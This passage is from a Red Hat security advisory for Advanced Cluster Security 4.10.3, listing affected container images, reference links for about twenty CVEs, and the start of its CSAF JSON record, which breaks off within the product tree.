| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le | — |
Workaround
|
Threats
Impact
Important
References
134 references
| URL | Category |
|---|---|
| https://access.redhat.com/errata/RHSA-2026:20889 | self |
| https://access.redhat.com/security/cve/CVE-2025-62718 | external |
| https://access.redhat.com/security/cve/CVE-2026-25679 | external |
| https://access.redhat.com/security/cve/CVE-2026-32280 | external |
| https://access.redhat.com/security/cve/CVE-2026-32281 | external |
| https://access.redhat.com/security/cve/CVE-2026-40895 | external |
| https://access.redhat.com/security/cve/CVE-2026-42033 | external |
| https://access.redhat.com/security/cve/CVE-2026-42035 | external |
| https://access.redhat.com/security/cve/CVE-2026-42039 | external |
| https://access.redhat.com/security/cve/CVE-2026-42041 | external |
| https://access.redhat.com/security/cve/CVE-2026-42043 | external |
| https://access.redhat.com/security/cve/CVE-2026-42044 | external |
| https://access.redhat.com/security/cve/CVE-2026-42264 | external |
| https://access.redhat.com/security/cve/CVE-2026-44486 | external |
| https://access.redhat.com/security/cve/CVE-2026-44487 | external |
| https://access.redhat.com/security/cve/CVE-2026-44488 | external |
| https://access.redhat.com/security/cve/CVE-2026-44492 | external |
| https://access.redhat.com/security/cve/CVE-2026-44494 | external |
| https://access.redhat.com/security/cve/CVE-2026-44495 | external |
| https://access.redhat.com/security/cve/CVE-2026-44496 | external |
| https://access.redhat.com/security/updates/classi… | external |
| https://docs.redhat.com/en/documentation/red_hat_… | external |
| https://security.access.redhat.com/data/csaf/v2/a… | self |
| https://access.redhat.com/security/cve/CVE-2025-62718 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2456913 | external |
| https://www.cve.org/CVERecord?id=CVE-2025-62718 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2025-62718 | external |
| https://datatracker.ietf.org/doc/html/rfc1034#sec… | external |
| https://datatracker.ietf.org/doc/html/rfc3986#sec… | external |
| https://github.com/axios/axios/commit/fb3befb6daa… | external |
| https://github.com/axios/axios/pull/10661 | external |
| https://github.com/axios/axios/releases/tag/v1.15.0 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-25679 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2445356 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-25679 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-25679 | external |
| https://go.dev/cl/752180 | external |
| https://go.dev/issue/77578 | external |
| https://groups.google.com/g/golang-announce/c/Edh… | external |
| https://pkg.go.dev/vuln/GO-2026-4601 | external |
| https://access.redhat.com/security/cve/CVE-2026-32280 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2456339 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-32280 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-32280 | external |
| https://go.dev/cl/758320 | external |
| https://go.dev/issue/78282 | external |
| https://groups.google.com/g/golang-announce/c/0uY… | external |
| https://pkg.go.dev/vuln/GO-2026-4947 | external |
| https://access.redhat.com/security/cve/CVE-2026-32281 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2456333 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-32281 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-32281 | external |
| https://go.dev/cl/758061 | external |
| https://go.dev/issue/78281 | external |
| https://pkg.go.dev/vuln/GO-2026-4946 | external |
| https://access.redhat.com/security/cve/CVE-2026-40895 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2460297 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-40895 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-40895 | external |
| https://github.com/follow-redirects/follow-redire… | external |
| https://access.redhat.com/security/cve/CVE-2026-42033 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2461607 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42033 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42033 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42035 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2461606 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42035 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42035 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42039 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2461630 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42039 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42039 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42041 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2461629 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42041 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42041 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42043 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2461626 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42043 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42043 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42044 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2461624 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42044 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42044 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42264 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2467927 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42264 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42264 | external |
| https://github.com/axios/axios/commit/47915144662… | external |
| https://github.com/axios/axios/pull/10779 | external |
| https://github.com/axios/axios/releases/tag/v1.15.2 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-44486 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487947 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44486 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44486 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-44487 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487948 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44487 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44487 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-44488 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487949 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44488 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44488 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-44492 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487938 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44492 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44492 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-44494 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487942 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44494 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44494 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-44495 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487937 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44495 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44495 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-44496 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487943 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44496 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44496 | external |
| https://github.com/axios/axios/security/advisorie… | external |
{
"document": {
"aggregate_severity": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"text": "Important"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "Updated images are now available for Red Hat Advanced Cluster Security\n(RHACS), which typically include new features, bug fixes, and/or\nsecurity patches.",
"title": "Topic"
},
{
"category": "general",
"text": "See the release notes (link in the references section) for a\ndescription of the fixes and enhancements in this particular release.",
"title": "Details"
},
{
"category": "legal_disclaimer",
"text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
"title": "Terms of Use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://access.redhat.com/security/team/contact/",
"issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
"name": "Red Hat Product Security",
"namespace": "https://www.redhat.com"
},
"references": [
{
"category": "self",
"summary": "https://access.redhat.com/errata/RHSA-2026:20889",
"url": "https://access.redhat.com/errata/RHSA-2026:20889"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2025-62718",
"url": "https://access.redhat.com/security/cve/CVE-2025-62718"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-25679",
"url": "https://access.redhat.com/security/cve/CVE-2026-25679"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-32280",
"url": "https://access.redhat.com/security/cve/CVE-2026-32280"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-32281",
"url": "https://access.redhat.com/security/cve/CVE-2026-32281"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-40895",
"url": "https://access.redhat.com/security/cve/CVE-2026-40895"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-42033",
"url": "https://access.redhat.com/security/cve/CVE-2026-42033"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-42035",
"url": "https://access.redhat.com/security/cve/CVE-2026-42035"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-42039",
"url": "https://access.redhat.com/security/cve/CVE-2026-42039"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-42041",
"url": "https://access.redhat.com/security/cve/CVE-2026-42041"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-42043",
"url": "https://access.redhat.com/security/cve/CVE-2026-42043"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-42044",
"url": "https://access.redhat.com/security/cve/CVE-2026-42044"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-42264",
"url": "https://access.redhat.com/security/cve/CVE-2026-42264"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44486",
"url": "https://access.redhat.com/security/cve/CVE-2026-44486"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44487",
"url": "https://access.redhat.com/security/cve/CVE-2026-44487"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44488",
"url": "https://access.redhat.com/security/cve/CVE-2026-44488"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44492",
"url": "https://access.redhat.com/security/cve/CVE-2026-44492"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44494",
"url": "https://access.redhat.com/security/cve/CVE-2026-44494"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44495",
"url": "https://access.redhat.com/security/cve/CVE-2026-44495"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44496",
"url": "https://access.redhat.com/security/cve/CVE-2026-44496"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/updates/classification/",
"url": "https://access.redhat.com/security/updates/classification/"
},
{
"category": "external",
"summary": "https://docs.redhat.com/en/documentation/red_hat_advanced_cluster_security_for_kubernetes/4.10/html-single/release_notes/index#about-this-release-4103_release-notes-410",
"url": "https://docs.redhat.com/en/documentation/red_hat_advanced_cluster_security_for_kubernetes/4.10/html-single/release_notes/index#about-this-release-4103_release-notes-410"
},
{
"category": "self",
"summary": "Canonical URL",
"url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_20889.json"
}
],
"title": "Red Hat Security Advisory: RHACS 4.10.3 security and bug fix update",
"tracking": {
"current_release_date": "2026-07-30T19:22:00+00:00",
"generator": {
"date": "2026-07-30T19:22:00+00:00",
"engine": {
"name": "Red Hat SDEngine",
"version": "5.3.8"
}
},
"id": "RHSA-2026:20889",
"initial_release_date": "2026-05-26T11:34:12+00:00",
"revision_history": [
{
"date": "2026-05-26T11:34:12+00:00",
"number": "1",
"summary": "Initial version"
},
{
"date": "2026-07-25T05:39:32+00:00",
"number": "2",
"summary": "Last updated version"
},
{
"date": "2026-07-30T19:22:00+00:00",
"number": "3",
"summary": "Last generated version"
}
],
"status": "final",
"version": "3"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_name",
"name": "Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product": {
"name": "Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.10",
"product_identification_helper": {
"cpe": "cpe:/a:redhat:advanced_cluster_security:4.10::el8"
}
}
}
],
"category": "product_family",
"name": "Red Hat Advanced Cluster Security for Kubernetes"
},
{
"branches": [
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-central-db-rhel8@sha256%3Aa32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef?arch=amd64\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1779293013"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-collector-rhel8@sha256%3A56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a?arch=amd64\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1778746262"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-fact-rhel8@sha256%3Ab4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff?arch=amd64\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1778746644"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-main-rhel8@sha256%3A89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c?arch=amd64\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1779293013"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-rhel8-operator@sha256%3Aa7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278?arch=amd64\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1779293013"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
